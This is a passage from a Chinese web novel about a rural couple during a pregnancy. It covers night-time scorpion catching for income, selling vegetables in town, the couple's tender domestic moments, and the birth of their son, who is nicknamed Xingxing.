方红花懒得理她,这么大年纪了,手脚还不干净,她才不领这种人过去,那不是给顾兰时添堵吗。 小河村因去菜地干活的事,在一群老太太老夫郎之间颇有些风云涌动。 * 夏日炎炎,炕上揭了被褥,只留席子在上头。 天长了,晌午不睡熬不过去,顾兰时独自躺在炕上,摇着蒲扇迷迷瞪瞪打盹,偶尔能听到一阵蝉鸣,幸好离得远,不然甚是聒噪。 屋门留了一条缝,窗子半开,太阳照的地面都发白,没有一丝风,趴在堂屋里的狗不断吐舌头。 身上出了汗,连同身下的席子都变热,顾兰时眼睛都没睁,又热又困,挪了一片地方后,感受到席子凉意,这才舒坦了点,手里蒲扇又摇了两下。 他圆圆的肚皮隆起,月份上来后,肚子渐渐大了。 这两天很热,连带着胃口也不好,他饭只吃一点,更别说油腻腻的鸡鸭肉汤,太腥了,已经完全不想吃。 裴厌怕他不吃饭身体吃亏,饭时总要哄着吃两口,哪怕喝两口汤,都比什么都不吃强。 因他不愿吃肉汤,裴厌这几天想着法儿煮各种菜汤,还有酸的甜的果子汤。 闲时顾兰时也觉得自己折腾人,可实在咽不下去,以前苦夏都没这样过,有身孕果然麻烦。 睡得恍惚,听见院里的动静,顾兰时挣扎了一下,手里的蒲扇掉在炕上,他眼睛睁不开,困意难挡。 不一会儿,洗了手脸的裴厌推门轻手轻脚进来,见他正在睡,没有出声,脱了鞋躺在外侧。 外头很热,晒得他脸上长疤发红,喝了两碗水嘴唇才不那么干了。 回来没听到动静,刘大鹅知道顾兰时在睡觉,同样手轻脚轻,推开西屋门,进去又关好。 他夜里没睡在这边,照旧回家里,有时回去的早,还能帮家里干活,天热以后,裴厌交代他拿床被褥,晌午不干活的时候能歇歇。 至于西屋炕上的竹席,则是裴厌给铺的,家里被褥没多的,席子倒是有几张。 西屋早就拾掇干净了,顾兰时每天扫洒的时候不会落下这边,至于堂屋里的各种缸瓮,已经搬进新杂屋中,堂屋除了桌椅以外,再没别的东西。 徐木头二月的时候就和儿子把织布机子送了来,只是顾兰时一匹麻布还没织好,裴厌就不让干了,他娘和大嫂二嫂倒是过来用了几天,顺手帮他把布织完。 老宅的织布机子好几家都在用,苗秋莲一看他俩这边有,就不到老宅去了,省得跟人挤来挤去。 乡下大着肚子干活的妇人夫郎很常见,有的足月了还在外头干活。 顾兰时显然不用这样,裴厌觉得织布长久坐在那儿不动对身子不好,他又不指着顾兰时织布挣钱养家,前几天见没人来用,和刘大鹅把织布机子抬进了新杂屋。 躺在炕上,刘大鹅长舒一口气,东家歇息,他也不用顶着毒辣的日头干活。 太阳很大,这会儿在外头干活的人有是有,不多。 裴厌不是会苛待自己的人,忙归忙,不能因小失大,中了暑热不是一半天就能好利索的,晌午得避一避。 察觉到炕上多个人,顾兰时还是没能睁开眼睛,热得脖子上都是汗,几丝湿发紧贴。 不一会儿,丝丝凉风不知从何吹起,渐渐的,他不再热得烦躁扭动,眉心平展,熟睡了过去。 裴厌一声不吭,挥手摇蒲扇给顾兰时扇凉,见人睡熟了,他心里一松,夏日乏热涌上,摆动的手逐渐变慢,不知不觉也闭上了眼。 * 身下的席子又被睡热,顾兰时熟练地换向里面,睡意褪去,他睁开眼,听到轻缓的呼吸声后,转头看向裴厌。 “醒了?”裴厌声音微哑,透出几分慵懒之意。 他没有立即起身,长臂一伸,习惯性想将人揽进怀里,又怕碰到顾兰时肚子,只好自己往里面挪挪,手掌轻轻搭在顾兰时肚子,尽显亲昵。 “嗯。”顾兰时摸来枕头旁的手帕擦擦脸和脖子,好在汗水已褪,没有那么热了。 “今晚我去山里捉毒蝎。”裴厌说道。 顾兰时清醒了,放下手帕说:“你一个人?” 裴厌开口:“嗯,我自己去,你不用跟。” 怕他不放心,又道:“都抓几年了,熟门熟路,我自己也会小心,正好明天去镇上,抓了毒蝎一起送。” 每年夏天抓蝎子能卖好几两银子,知道裴厌向来稳重,顾兰时不再说什么,最近忙,白天干活晚上睡觉,也只有晌午小憩醒来时,裴厌会陪陪他。 他往男人怀里缩,也不管热不热,脸径直埋在裴厌胸膛处,不知是不是肚子里的东西闹得,他近来嘴上不说,却总想贴近贴近,不然心里难受。 裴厌唇角微弯,星眸里带着笑意,显然很喜欢夫郎的依靠。 “明天再给你买些酸杏儿回来,黑芝麻还吃吗?”他问道。 顾兰时心里像有什么堵着,于是向上寻找出路,他扒拉开裴厌衣裳,脸颊直接贴上男人结实宽阔的胸膛,这才开口:“嗯,都吃。” “好,明天看看有没有新鲜果子卖,再给你买一些。”裴厌笑了一声,搂着人在背上轻拍,搂着搂着便亲到一起,完全分不清到底是谁先靠近。 脸颊唇角不断落下轻吻,顾兰时自己亲够了,心里舒坦的不行,见裴厌还想来咬嘴巴,他没有拒绝,好一阵后才分开。 第203章 傍晚,吃过饭后没别的事做,裴厌就让刘大鹅回去了。 下午他俩出去打草,顺便在河边掐了一篮子野芹,给刘大鹅分了一半,让他带回家。 这东西不宜久放,很容易蔫掉,不是什么值钱东西,每天采新鲜的吃最好。 西边云霞消散,天一点点暗下来。 院子里,裴厌在收拾东西,和往日不同,他腰间系着一条红色的汗巾,把用树枝削好的长筷子在手里试试,挺趁手的,便直接塞进竹篓里。 晒了一天的地面变凉了,风不再炙热,顾兰时看一眼趴在地上的大黑,这两天很热,狗也不好受,和人一样,这会子才觉得舒坦些。 “要不带上大黑?”他说道。 裴厌换上布鞋,闻言抬头,笑着开口:“还是不了,我一个人方便,抓一篓半篓就回来,不知道今年山沟底下蝎子多不多,狗再机灵,万一张嘴去咬蝎子,又不像人能穿鞋穿衣,容易被蛰到,再说了,这两年夏天,村里抓毒蝎的人也多了,山里肯定不止我一个。” 还真是这样,顾兰时点点头,又道:“明儿我问问狗儿,看他夜里去不去抓,你俩也有个伴。” “嗯,明天再看。”裴厌应道,收拾好后,没什么可带的了,他拎起竹篓举着火把,叮嘱道:“大门我先从外面锁上,你不必费心留神,也别出来,该睡就睡,一两个时辰我就回来了,到时我自己开门。” “好。”顾兰时点点头,只送他到院门口,看着人走出篱笆大门,这才把院门合上。 有身孕以后,夜里他再没出去过,裴厌要是夜里出门,都会换上红汗巾系在腰间。 之前买了一匹红布,除了给娃娃做两个小肚兜和小小的红裤,还裁了几块,给他和裴厌分别做了几条汗巾和亵裤。 有狗在家,顾兰时一点都不担心,夜色渐重,他进灶房舀水,在院中盥洗,又打了一盆热水进屋烫脚。 拿过针线篮子里还没做完的小衣裳,他展开看两眼,明天缝完就好了,于是又把衣裳放回去。 前几天张春花过来给他拿了几件半旧的小衣裳,是顾满和顾安小时候穿过的,甚至不止他俩穿过,再往前算,这是她娘家侄儿幼时的衣裳。 奶娃娃长得快,衣裳穿不了多久,旧衣干净柔软,正合适。 不过裴厌既然买了布匹,顾兰时还是想给娃娃做两件新衣穿,虎头帽虎头鞋也少不了,他没事了就缝几针,眼下从头到脚已经备齐了一整身小衣裳。 泡完脚出去倒水,夜色彻底笼罩了大地,灰灰和灰仔刚才被关到院门外,这会儿听不到动静,应该进狗窝睡觉了,大黑趴在堂屋门前守着,似乎是知道裴厌走了,便担起看护的重任。 顾兰时身子沉,也不似从前那样精神头好,躺下后没多久,困意袭来,不知不觉睡着了。 一个多时辰后,趴在堂屋门口的大黑抬起脑袋,月色明亮,它一双眼睛比白天更有神,耳朵微动,在听到熟悉的脚步声以后,又趴了回去,不像灰灰和灰仔还叫了两声。 院门被推开,高瘦精壮的汉子脚步比平时轻多了,一进来关好院门,借着月色看见大黑守在门口,他眸光微动,却什么都没说,把装了毒蝎的篓子放在地上,把盖子扣紧,确定毒蝎不会跑出来,便起身去灶房舀水。 顾兰时给锅里留了热水,但已经凉了,裴厌没有再点火,夏天炎热,用冷水并无不妥。 他草草盥洗一番,进屋后没有直接上炕,窗子开了半扇,月光照进来,见顾兰时睡熟了,他才走到窗前的竹榻睡下。 蝎子喜阴凉,还有毒,又是在山沟之中,这几天夜里还是分开睡较好。 * 天刚蒙蒙亮,菜地里就有了动静。 刘大鹅一进门就拿了镰刀过来割菜,长了几天,又有不少瓜菜能收。 裴厌睡得晚起得早,不过夜里歇得好,睡沉了,这么早还带着山林凉意,醒来也算神清气爽。 篱笆门开着,从窝里出来的灰仔懒洋洋打哈欠,忽然,它叫一声,就冲着大门跑过去。 菜地里的裴厌直起腰,看向门外。 顾兰瑜提了个竹篓走近,径直进了门里,笑道:“厌哥,刘哥,都在呢。” 原是他,裴厌问道:“怎么这时候过来?” 顾兰瑜笑着开口:“没什么大事,厌哥,等会儿去镇上的话,捎带上我,昨晚摸了些知了牛,今儿拿去卖。” “行,等装好菜就走。”裴厌答应一声,弯腰用镰刀割了两把韭菜,顺手放进地上的竹篮里,他没有乱放,韭菜根都在一个方向,瞧着顺顺当当的。 “吃了没?”他又问道。 顾兰瑜见菜地前有个竹筐还是空的,随手把装知了牛的篓子放在地上,卷袖口就要帮忙,闻言笑着说:“没呢。” 裴厌说道:“锅里我热了馒头,等会儿吃两个再走。” “成。”顾兰瑜又问:“要摘豇豆?” 裴厌开口:“嗯,第二行,长成的多,第一行前两天摘过一茬。” 想起昨晚顾兰时说的,他问道:“今年还去抓蝎子?” “正想跟你说呢。”顾兰瑜在那边菜地里,一边摘豇豆一边说:“改天一起去山里,那东西可比知了值钱,昨晚我就想来问问,但霜儿和竹哥儿见别人晚上去摸知了,都馋了,我就跟着他俩去山上了。” 末了他又问道:“对了厌哥,你抓知了牛没,没抓的话,等下留一碗,说不定我兰时哥哥也想吃了。” 裴厌开口:“行,留一些,我昨晚去山里捉毒蝎了,回来已经晚了,没有摸知了。” “昨晚?”顾兰瑜笑道:“可惜没碰着,不然我就跟你一道去了。” “今晚你拾掇拾掇,东西都带上,天刚擦黑那会儿就来。”裴厌说道。 “好,知道了。”顾兰瑜脸上笑意尽显,毒蝎一斤八十文左右,多跑几晚,除了交公中的,多少藏点私房钱,回头霜儿想吃什么零嘴就能给买。 * 滋啦—— 洗干净的一碗知了牛被倒进热油锅里,顾兰时站在灶台前翻炒。 知了牛还没长出翅膀,顾兰瑜几个夜里摸到之后,回去用水浸着,多数都没有蜕壳。 独特的肉香味飘出,顾兰时给撒了盐和辣子粉,很快就出了锅。 香味勾起这几天不怎么好的食欲,他站在灶台边,直接用手捏了一个,吹一吹就往嘴里塞。 外面干香脆脆的,咬到里面的肉之后只觉满足,又辣又香。 “裴厌,吃饭了。”顾兰时一边喊,一边用大勺推开冒着热气的锅盖,木架上放了包子和馒头,底下是煮滚的白米汤。 饭菜很快都盛好,也给刘大鹅的菜碗里拨了十几个知了牛,他端着碗碟往出走,见谷场那边裴厌和刘大鹅还在翻草,说:“翻完就洗手。” “好。”裴厌答应道,天热了,吃饭比之前要早一点,不然等晌午太阳那么大,热得胃口也不怎么好。 堂屋门大开,三人各自坐好,顾兰时拿起筷子,今天显然胃口好多了,不用劝,自己又是夹知了牛又是夹菜。 裴厌放心不少,说道:“爱吃?今晚和狗儿说好了,去抓蝎子,明天晚上我去摸这个。” “嗯,一年没吃了,放了辣子粉,还挺香的。”顾兰时眼里带了点笑意,胃口一好,连带着心情也好了。 刘大鹅尝了两个知了牛,辣子粉和他家里的辣子面不同,更辣更香,于是就把剩下的知了牛留下,西屋里有个竹筒,是他一直用的,一般有肉菜了,都会用竹筒带回去。 其实他昨天傍晚回去的时候,见村后林子有人打着火把摸知了,于是也过去寻摸半天,用树叶包了一包拿回去。 小枣儿是个女孩,二娃又小,两个孩子就算馋,夜里要是没有人领着,完全不敢出门。 这点东西不值当跑一趟镇上去卖,白天他不在家,家里也没人能走远路,就嘱咐他夫郎今天都炒了,让孩子尝尝鲜,这东西是肉,还能补补身子。 饭后,顾兰时因吃的有点多,觉得撑了,于是把洗碗刷锅的活撂给裴厌,外面太阳大,不好走动,他就回了屋整顿针线衣裳。 九月份才生,如今六月多,还早着,到那时候凉,襁褓得缝厚实,棉花已经有了,裴厌买了十斤回来,连襁褓带小被子还有娃娃的两三身冬衣足够。 顾兰时站在炕边又一想,即便有三身冬衣换洗,奶娃娃尿床可不管时候,他之前帮大嫂管不到一岁的顾满,最多的时候一天尿湿了四身衣裳,得亏天热,洗了后半天就能晾干。 可他生娃娃的时候天冷,尿湿一身就得换,只有三身的话,不知道够不够。 还是再做几件大一点的冬衣,这样能换开,来年也不用再改了。 打定主意以后,顾兰时打开箱子,从里头取出没用完的布匹,用木尺量好后裁剪下来。 没一会儿,裴厌从外头进来,见他又在忙裁布,便问了一句,得知是给孩子做衣裳,也觉得有道理。 第一个孩子,两人嘴上没说,但心里都很在意,哪怕孩子还没出生,什么新衣裳新帽子,还有镇上小孩手里拿的玩具,以前从不留神,最近裴厌一看到就忍不住记下,以后好给娃娃买。 “钱收着了?”裴厌问道。 顾兰时抬头看他,笑着说:“忘了,钱袋还在枕头底下塞着呢,你拿出来,这会儿数数。” 裴厌走到炕头,从枕头底下摸出钱袋,沉甸甸的,但多数都是铜板。 两人坐在炕边,中间是倒出来的一堆钱,顾兰时先把两小块碎银挑出来,问:“二钱?” 裴厌点点头:“嗯,蝎子正好两斤,卖了一百六十文,药铺给了一钱碎银和六十个铜板,另外一钱是酒楼给的,鸡蛋三十个九十文,菜钱五十二文,今天要的菜和鸡蛋都少,拢共一钱四十文,抹了零头。” “同春酒馆那边没要鸡蛋,只买了菜,也抹了零,给了七十文,沿街再卖了二十六文。” 菜价便宜,有时酒楼和酒馆生意不大好,菜蔬有剩余,买的自然就少,今天进项还算可以,除了蝎子以外,有两钱多的进项,之前有几次把菜拉去镇上,只卖了二三十斤,换到四十来文,又原样拉回来了。 做小买卖就是这样,没法儿预料,好在和酒楼酒馆搭上了,勤快一点每天去送鲜菜,多少能赚几个铜子儿。 顾兰时把所有铜板数了一遍,是一百九十六文,他揭开炕席一角,从底下取了四文钱,补够两百文。 他拿起碎银,装进一个绣了花的荷包里,里头都是散碎银子,一钱的居多,扎进口后在手里掂一掂,他露出个笑,说:“这些放着,先不动,对了,下午你拿钱去买五块豆腐,晚饭煎豆腐吃,再给明天留一块,切成豆腐丁炒臊子,明儿吃白面条。” “好,知道了。”裴厌点点头,顺手就从炕席底下拿了五文钱,直接把铜板塞进袖兜里面,就这么几个铜板,没必要带荷包。 说一会儿闲话,听见刘大鹅煮猪食的动静,裴厌又出去了,在院里劈柴,等猪食鸡食晾温以后,和刘大鹅提了各自去喂。 顾兰时不管他们,在屋里做自己的活。 去年冬天卖鸡蛋,每个月大概有一两的进项,今年三月起,蛋价便宜了,但菜上来了,两样都在挣钱。 小本生意,好的时候,一个月边挣边花,月底还能落下七八百文,因他有了身孕,裴厌隔三差五就买各种吃食,贵的也敢下手买,生意差一点的话,月底落到手里三百文都算好的。 家里田少,裴厌没有出去做工,如今每个月都有进项,一个月三百文放在丁口多的人家只能勉强温饱,对他俩来说却还不错。 顾兰时并不贪心,穷日子都过来了,如今有钱,高兴还来不及,怎么会嫌少。 他拿了剪子裁布,一股风从外面吹进来,没有昨天那么热。 肚子里不知是男孩还是女孩,之前商量好去找庙里师父取名,但两人闲了,还是忍不住去想。 大名想不到,小名儿总该提早想好,都说贱名好养活,正好,他俩不识字,根本想不到什么好名字。 牛马驴之类的名字,不止他们村有,别的村子也有不少,两人思来想去,狗儿狗娃狗蛋不行,孩子上头两个舅舅就叫这个。 最后在河边放鸭子的时候,顾兰时看见河里游动的鱼儿,忽然来了灵感,不如叫小鱼儿。 这个小名也有人叫,但他俩实在想不出别的了,暂时就这么定下,孩子出生之前,要是想到更好的,再换不迟。 第204章 有顾兰瑜作伴,裴厌和他两人夜里不是逮知了就是捉蝎子,多个人顾兰时放心许多。 刘大鹅知道毒虫值钱,他年少时和村里人一起抓过,他们村后沿着山坡往北走,有一片土坑,那里就有蝎子出没。 因没有住家,他只用白天干活,晚上还真有工夫和空闲,挣钱的事谁不愿意多听一耳朵多看两眼,再老实的人,肯定都有点心思活动。 但白天他要干活,夜里赶路对他来说不是难事,可镇上药铺晚上会关门。 最近晌午会歇息,是个空子,可走路去镇上,即便脚程快,一来一回得耽误一阵子,这样到底不好,他是给人家做工的,不好耽误了东家的活。 东家对他很不错,刘大鹅根本没脸提自己白天想找个空子去镇上卖毒虫这事,于是犹豫好几天后,又一次和裴厌出去打猪草,他试探着问了两句,裴厌卖毒虫时要是能捎带上他的,哪怕自己少拿点钱都行。 裴厌听出他意思,垂眸琢磨了一下,倒不是不行,顺手的事,刘大鹅家中境况他听顾兰时提过,都是苦命人,至于钱,他倒不稀罕赚这个差价。 再抬眼他开口道:“成,不是什么大事,你要捉到了,只管带来。” 刘大鹅松一口气,眼尾堆出几层褶皱,黝黑的脸上有了一些笑容,割草更起劲了,心里也热乎。 第二天一大清早,他赶来摘菜,就拎了个扣盖篓子。 板车上有秤杆,临出门时,裴厌当着他的面勾住篓子称了,刨去篓子的分量,约莫有一斤。 刘大鹅很高兴,心想给他六十文都行。 而等裴厌和顾兰瑜从镇上回来,一个子儿不差,给他数了八十文。 刘大鹅心中万分感激,攥着很旧的钱袋几乎说不出话。 卖了钱,裴厌要上交,他没在院里多待,转身找顾兰时去了,对他而言,该多少是多少,捎带而已,何必克扣人家的钱。 * 夏天在忙碌中慢慢过去,炎热时只觉难耐焦躁,恨不得一下子到冬天。 顾兰时偶尔心烦意乱,急躁又难受,就忍不住发火,手里要是拿着东西,无论什么,径直就往地上摔,也不管有没有外人在。 平息后又觉得后悔,原以为裴厌被他无缘无故数落一通会生气,可每次裴厌都会等他情绪过去之后来安抚,从不见气恼,地上的东西也都会收拾。 他不知道自己怎么了,被哄两句就忍不住哭起来,自己都觉得脾气变怪了。 有两次还吓到了竹哥儿,家里也忙,竹哥儿要是有空,会过来同他说说话,顺带帮忙做饭洗衣。 他娘炖了鸡汤给他送来,见他大着肚子还要晒各种菜干子,不少菜都要焯水,夏天灶台前那么热,一身汗一身汗的出,即便多数时候是裴厌在烧火干活,苗秋莲还是唉声吁气,直叹家里人太少,后面即便忙,也会抽了空子带上竹哥儿或霜儿过来,帮他干这些活。 对爹娘他们,顾兰时不会发火,有时哥哥姐姐来看他,他高兴不已,那几天心情就很好。 可家家都有活干,多数时候,家里只有他和裴厌,除了吃饭以外,刘大鹅不常和他俩待在一起。 一旦看见裴厌,他有时欢喜,恨不得不撒手,有时却莫名恼怒,哪怕裴厌什么都没做。 对裴厌来说,发火而已,挨骂他老实听着就是,哪怕并不是他的错,顾兰时无论做什么,他都有足够的耐性,连他自己都不知道,这份包容的界限在哪里。 自己挨骂没什么,他只是担心顾兰时气伤了身子。 有身孕是件很不容易的事,很难熬,光看肚子,月份大了以后,做什么都不方便,有时夜里腿还会抽筋,睡都睡不好。 他心中愧疚不已,要不是为了给他生孩子,顾兰时也不至于遭这份罪。 夫郎发火时不愿意见到他,他只能躲开,不凑上去给顾兰时心里添堵,一旦平静,他进屋不过说两句软话,就看见顾兰时的眼泪。 那几乎比刀劈斧砍在身上还要痛苦,心像是被紧紧攥住,又酸又涩。 直到他弄清,顾兰时哭泣并非是因为身子难受,也不是心里难过不安,才不再惊慌无措。 裴厌问了好几个镇上的大夫,一听并无大碍,只是身子重了,心绪较以前易急易怒,等过了这段日子就好,压在他心上的石头才落下。 不知不觉,难耐的酷暑熬过,渐渐凉爽起来,顾兰时发火的次数也少了,之前的事就跟一场梦一样,连他自己都搞不清。 裴厌看在眼里,总算舒了一口气。 * 夏末的雨依旧势头足,哗啦啦倾盆而泄,将地面残留的暑气彻底冲散。 顾兰时坐在窗边的竹榻上,拿起之前缝好的小衣裳展开来看,衣裳小小的,袖口和衣领处他用彩线绣了些小花和小鱼。 花样子称不上惟妙惟肖,较为简单,可见了的人都说好看,他很高兴,一想到孩子生下来后穿上,心中就无比喜悦。 他娘和几个姐姐嫂嫂都说了,会给小外孙小外甥做衣裳鞋子什么的,因此他最近没怎么动针线。 还是这两天凉快以后,不再燥热,才把针线重新拾起来。 裴厌进来,肩头湿了一点,他浑然不在意,见竹榻上放了个拨浪鼓,他走过去,眼带笑意拿起转了转。 咚咚咚—— 顾兰时坐在那里没动,抬头看向他手里的拨浪鼓,这是前天买的。也不知从什么时候起,家里奶娃娃用的东西变多了。 裴厌笑着开口:“忘了说,早起我碰见岳母,提了想雇人的事,她说会帮着打听,出村时碰到二哥和二嫂,也托他俩帮忙问问。” 顾兰时点点头:“嗯,急倒是不急,还有一个多月呢,这才啥时候。” 没有姑婆帮衬,即便苗秋莲离得近,也无法时时照看到,方红花上了年纪,两人不愿让小老太太劳累,于是裴厌就想雇个人,别的活不干,只洗衣做饭,尤其孩子的衣物和尿布,这样顾兰时就不用干活了。 暗暗看一眼夫郎神色,见没有发火的痕迹,裴厌脸上笑容更大,放下拨浪鼓,直接坐在顾兰时旁边,腿贴着腿,十分亲密。 没有波澜曲折的日子一天天过去,随着月份临近,顾兰时还没怎么,倒是裴厌先慌了。 他夜里睡不着,又怕翻身吵到顾兰时,遂往炕边挪了挪,已经八月底,九月却正忙,秋稻快熟了,柴豆跟在稻子后边,田少,虽然只忙那几天,可就怕在他不在的时候突然要生。 最近他早起去镇上送菜,都会让刘大鹅在菜地干活,或者劈柴挑水,要不然就是在家门口打草,不让走远。 要是他和刘大鹅都不在,他不是找竹哥儿和岳母就是去找阿奶。 之前打井不是太重要的事,还会顾忌大伯一家,这回不一样,就算厚着脸皮,他也让阿奶过去待一天半天。 好在顾铁柱夫妻二人算是通情达理的人,没有不乐意,有时还会叫老娘过去转转。 夜深了,顾兰时已经熟睡,呼吸声清浅均匀。 裴厌还在思索,之前托大姐顾兰玉在周家村找了个妇人,年纪不大,按辈分叫一声阿姊或姐姐,他见过,很利落干净一个人,说好等生了以后再来照顾,吃住也在这边,最起码干两个月。 这会儿想想,倒不如明天就喊来。 听大姐姐说,这个周大姐做饭很不错,最近多半都是他做饭,要么苗秋莲会打发竹哥儿过来送饭,周大姐要是过来,顾兰时不用尝他那个手艺了。 新盖的屋子打算来养鸡,但没到时候,屋子还是新的,正好有矮炕,暂且就让周大姐睡在那个屋里。 他向来有主意,等顾兰时睡醒以后说了这件事,下午就用驴车连人带铺盖拉来了。 顾铁山嘴上没说,一进九月份,没事就转到后山,进来看看菜地看看鸡鸭,又瞅一眼儿子,见没有临盆的迹象,又是什么都没说,转身回去了。 觉得他俩没有帮衬,家里人多少都忧心起来,往后山跑的勤了。 顾兰时一开始还被这阵仗弄得心慌,没过两天就抛在脑后,周大姐住了进来,有人在呢,况且他自觉已经过了忧虑难耐的时候,该吃吃该喝喝。 他最近胃口不错,没事就在灶房折腾,摊蛋饼卷菜,蒸米糕枣糕,甚至在锅底刷油煎五花肉片吃,滋啦啦油脂飞溅飘香,撒上辣子粉那叫一个香。 九月初六,一大早,顾兰时睡醒没多久,正想告诉裴厌再买些五花肉,肚子突然就疼了。 家里瞬间变得兵荒马乱。 第205章 赶着驴车出门时,裴厌绷紧了心里那根弦,脸是白的,好在慌乱过后,他知道自己要做什么。 刘大鹅帮忙套了车,正站在院里有点发愣,周淑云不像裴厌那样慌乱,她经验十足,进屋后先查看顾兰时的动静,知道还没到时候,见窗户开了一条缝,合上的时候看见刘大鹅,就让他去灶房烧水。 鞭子挥打,毛驴跑了起来,路过顾家门前时,裴厌停下径直推门进去喊人。 一听要生了,苗秋莲连忙锁了门,带着花惜霜往后山跑,让竹哥儿去喊刘桂花和刘娥,还有张春花和李月。 顾兰时头一回经历,直到苗秋莲来了之后,看见亲娘,才没那么慌了,尽量听大人的话照着做。 所有人来了以后,花惜霜帮不上屋里的忙,被打发去灶房和竹哥儿一起烧水烫剪。 刘大鹅已经生起火,见他俩着急忙慌要进来,连忙就出去了,他挠挠头一想,就到院外等着,也没走远,万一有用上他的,还能帮一帮。 三只大狗变得焦躁不安,在院里不停转圈,听到顾兰时痛苦的声音后,都急切不已,呜呜嚎叫。 土路上,驴车跑得很快,颠的车上人一个劲摇晃。 李稳婆抓着板车边沿没说什么,生孩子人命关天的事,她早已习惯如此颠簸,早到一点,有时候事情转机就大。 裴厌心急如焚,到篱笆大门前停下车,没有拉毛驴进去,等李稳婆下来后,他一看大菜地离院子竟那么远,道一声,干脆将李稳婆背起来跑进去。 刘大鹅蹲在田畔拔了几根杂草,见裴厌着急道把驴车丢在门外,他把驴车牵进来,暂时栓到院外,不知道生孩子要多久,生下之后,还要送稳婆回去。 稳婆进了屋,裴厌被推出门,他站在房门外,盯着门板看了好一会儿,明白自己进不去以后,才抹一把脸,扶着桌子在板凳上坐下,神情依旧恍惚。 痛苦的声音隔着门窗传出来,狗叫个不停,他没有心思去管,直到房门打开,李月端着染成红色的一盆水出来,他连嘴唇都有点发白。 尽管明白那是擦拭的血,和热水混在一起,可那样的红色,和人血无疑,他忽然觉得眼睛难受,像是被刺痛,又像是干涩。 一盆又一盆热水端进去,染了红又端出来,像是流不尽的血,根本不知道什么时候才能停下。 裴厌心神恍惚,但依旧能听能看,耳朵里各种声音嘈杂不已,唯有顾兰时的声音清晰,像是擂鼓一般。 “厌哥哥,厌哥哥?”竹哥儿倒了一碗茶,喊了两声才把人唤过神,他把茶碗递过去,说:“你喝点水。” 裴厌接过茶碗,确实觉得嘴唇发干,一口气就将茶喝完了。 竹哥儿见他还是呆愣愣的模样,不知道怎么劝,看一眼紧闭的房门,又去灶房忙了。 好在生产很顺利,甚至时辰都不算长,当听到嘹亮有力的哭声后,裴厌“噌”一下站起。 很快,房门打开,李稳婆抱着襁褓里的孩子站在门里笑着道喜,示意他过去看一眼孩子。 裴厌两步过去,他个子高,站在门前目光直直看了进去,苗秋莲几个在帮顾兰时擦拭盖被,沾了血污的褥子和衣裳布块依旧鲜红。 屋里的人都在忙,没人理他,却是最好的消息。 被李稳婆提醒之后,他才低头看一眼孩子,嗡嗡作响的耳朵一下子净了,问道:“男孩女孩?” 话一出口,才觉沙哑。 李稳婆其实刚才就说了,只得笑着再说一遍:“是个大胖小子,听这哭声,有劲得很。” 裴厌下意识抬起手,但看到孩子这么小,不免又缩了回去。 李稳婆根本没想让他抱过去,看一眼就得了,孩子刚生下来不好见风。 还是苗秋莲一转头见姑爷跟木头桩子一样杵在那里,笑着提点了一句。 裴厌这才想起来,连忙从怀里掏出用红布包的银钱,塞到稳婆手里。 稳婆又说两句道喜的话,抱着孩子进去了,顺便连房门也关上。 拾掇屋子、招待稳婆的事,有苗秋莲帮着张罗打点,他一个汉子,插不上嘴也干不了活,在房门口不停徘徊,最后终于忍不住,趁屋里没其他人的空当,把房门开个缝挤进去,又在身后闭拢。 顾兰时躺在炕上,脸上汗被擦过了,只是凌乱的发丝依旧湿着。 孩子不哭了,他缓过劲,刚想用胳膊撑起上半身,支高一点好看清孩子正脸,不想裴厌进来了。 “你怎么样?”裴厌声音沙哑,走到炕边张了张嘴,再说不出别的话,眼睛渐渐湿润。 顾兰时笑一下,脸色苍白,但精神头不错,说道:“没刚才那么疼了,不要紧。” 裴厌伸手,将他额前凌乱的发丝理了理,低低嗯一声,又再次沉默。 “怕什么,我这不是好好的。”顾兰时笑道,又说:“来,看看儿子长什么样,刚才李婆婆让我看,我都没看清,这下好好瞅瞅。” 裴厌顺着他的话去看炕里的孩子,孩子依旧裹在襁褓里,已经不哭了,刚生下来还有点红。 “是大眼睛哎。”顾兰时语气新奇,仿佛不是他生的崽,刚认识一般。 裴厌被他逗笑,目光也落在孩子脸上。 小崽儿的大眼睛黑而亮,很快就闭上眼睡了。 “应该叫星星。”顾兰时忽然开口。 裴厌视线从睡着的孩子脸蛋上挪开,看向他目露疑惑,没有一下子听懂。 顾兰时笑着躺好,说:“我是说,孩子应该叫星星。” 他很高兴,又道:“你看,眼睛那么黑那么亮,像不像晚上的星星?” 看见那双大眼睛以后,这个小名儿一下子浮现在他心间。 “不叫鱼儿了?”裴厌问道,他倒是都行,两个名字都是顾兰时想的,自己没出力,不好随意决断。 “嗯,就叫星星,小星星。”顾兰时嘿嘿傻笑,想了一下又说:“小鱼儿留着,以后肯定能用上。” 裴厌一顿,后知后觉反应过来,也对,他俩肯定不止一个孩子。 以后。 原本没有实感的两个字突然有了分量,似乎窥见了几个幼童在屋里院子玩耍嬉戏,一股说不清的感觉盈满心间,渐渐地变暖,流淌在四肢百骸。 * 得知小外孙乳名叫星星,苗秋莲乐得什么似的,见裴厌送了稳婆回来,交代了一番后,才带着竹哥儿和花惜霜回去,忙了一上午,家里还有好多活呢,周淑云她也叮嘱了,让好生照看。 出门时她还在念叨,得亏姑爷不怕花钱,雇了个人来,不然她要是忙不开,就没人照顾她兰哥儿和小星儿。 至于裴厌,平时做饭洗衣还成,汉子哪里是伺候月子的料,少有男人会去干,因此她并不指望。 东屋。 孩子吃过一顿乳果,再次睡着了,见顾兰时也闭上眼睛,裴厌给一大一小掖掖被角,轻手轻脚出去了。 方才所有人已经吃过饭,周淑云在院里拆染血的褥子,今儿太阳不错,早早洗了,见他出来,压低声音说:“乳果只备了二十个,这七八天足够,后边要秋收,就忙了,这几天要是有空,还是多摘些回来。” 裴厌因为心神都在顾兰时和孩子身上,都没想起这个,闻言点点头:“好,周姐姐,我这会儿就上山。” 有乳果树的山谷较远,上回去摘只是提前备下,这次沿着山路赶,心境有了些许变化,孩子的口粮可不能短缺。 星星吃乳果的时候他也在旁边,吃的那叫一个有劲,哼唧着,那么小的手攥成了拳头。 一想到儿子肉乎乎的小小拳头,裴厌脸上不由自主有了笑意。 等顾兰时睡醒,转头看见地上有一筐乳果,就知道裴厌上了趟山,他没有喊人,独自撑着慢慢坐起,靠在炕头,见小星星还在睡,他满眼都是笑意,仔细看一会儿,觉得星星还是像裴厌多一点。 房门吱呀轻响,裴厌原本只想在门外看看,不想人已经坐了起来,他连忙进屋,问道:“饿不饿?周姐姐蒸了蛋羹,还是说想吃别的。” 顾兰时开口:“先给我倒碗水,渴了。” 裴厌立即照办。 